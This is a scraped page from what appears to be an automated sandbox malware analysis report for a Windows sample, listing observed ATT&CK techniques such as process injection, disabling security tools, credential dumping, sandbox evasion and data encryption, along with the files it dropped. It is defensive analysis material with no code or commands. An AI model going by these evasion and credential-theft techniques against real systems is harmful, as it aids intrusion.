Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 9g9LZNE4bH.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Data Obfuscation

Stealing of Sensitive Information

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.0.cs

C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.cmdline

C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.dll

C:\Users\user\AppData\Local\Temp\3lfchnc2\3lfchnc2.out

C:\Users\user\AppData\Local\Temp\3lfchnc2\CSC30375EB9C2504D3B856F38EEC7AAE920.TMP

C:\Users\user\AppData\Local\Temp\??? ? ?\Display (1).png

C:\Users\user\AppData\Local\Temp\BPWmX.zip

C:\Users\user\AppData\Local\Temp\MpCmdRun.log

Windows Analysis Report
9g9LZNE4bH.exe

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre